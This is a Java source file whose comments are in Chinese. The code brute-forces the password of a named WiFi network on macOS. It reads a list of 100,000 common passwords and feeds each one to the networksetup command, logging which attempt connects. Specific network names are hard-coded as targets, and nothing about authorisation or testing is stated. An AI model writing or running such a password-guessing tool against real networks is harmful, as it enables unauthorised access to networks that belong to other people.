package com.sxran.im;
import cn.hutool.core.io.FileUtil;
import cn.hutool.core.io.IoUtil;
import cn.hutool.core.thread.ThreadUtil;
import cn.hutool.core.util.StrUtil;

import java.io.IOException;
import java.util.List;
import java.util.concurrent.ExecutorService;
import java.util.concurrent.LinkedBlockingDeque;
import java.util.concurrent.ThreadPoolExecutor;
import java.util.concurrent.TimeUnit;

public class WifiConnector {

    private static final ExecutorService EXECUTOR_SERVICE = new ThreadPoolExecutor(
            Runtime.getRuntime().availableProcessors(),// 核心数，一直都能工作的数量
            Runtime.getRuntime().availableProcessors() * 5,// 请求处理大时，可以开放的最大工作数
            1,// 开启最大工作数后，当无请求时，还让其存活的时间
            TimeUnit.HOURS,// 存活时间单位
            new LinkedBlockingDeque<>(100000),// 阻塞队列，保存操作请求线程
            new ThreadPoolExecutor.DiscardPolicy());


    public static void main(String[] args) {
        // 替换'YourSSID'和'YourPassword'为实际的WiFi名称和密码
//        String ssid = "vivo X60";
//        String ssid = "3001";
        String ssid = "zhenglin";
        String file = "/Users/wulinghui/IdeaProjects/sxran-im/src/main/resources/10-million-password-list-top-100000.txt";
        List<String> pws = FileUtil.readUtf8Lines(file);
        for (String password : pws) {
//            EXECUTOR_SERVICE.execute( ()-> connector(ssid, password) );
            connector(ssid, password);
        }
//        String password = "12345@6789011";
    }

    private static void connector(String ssid, String password) {
        try {
            // macOS系统下使用networksetup命令行工具
            // networksetup -setairportnetwork en0 'vivo X60' '123456789011'
//            String command =  "networksetup -setairportnetwork en0 '" + ssid + "' " + password;
            String command =  String.format("networksetup -setairportnetwork en0 %s %s" , ssid ,password ) ;
//            System.out.println( "输入的command:"+command);
            Process process = Runtime.getRuntime().exec(command);

            // 等待命令执行完成，并读取输出与错误流
            int exitCode = process.waitFor();
//            if (exitCode == 0) {
//                System.out.println("Successfully connected to the WiFi network.");
//            } else {
//                System.err.println("Failed to connect to the WiFi network. Check the command and parameters.");
//                // 获取错误信息
//
//            }
//            String error = new String( IoUtil.readBytes(process.getErrorStream()) );
//            System.err.println(error + "11");
//            String intput = new String( IoUtil.readBytes(process.getInputStream()) );
//            System.out.println(intput + "11");
            String intput = new String( IoUtil.readBytes(process.getInputStream()) );
            if (StrUtil.contains(intput,"Failed")) {
                System.out.println( "Failed to connect to the WiFi network:" + password);
            }else if(StrUtil.contains(intput,"Could not find network")){
                // 没有发现就继续执行。
                connector(ssid,password);
            }else{
                System.out.println(intput + ":Successfully connected to the WiFi network:" + password);
            }
        } catch (IOException | InterruptedException e) {
            e.printStackTrace();
        }
    }
}
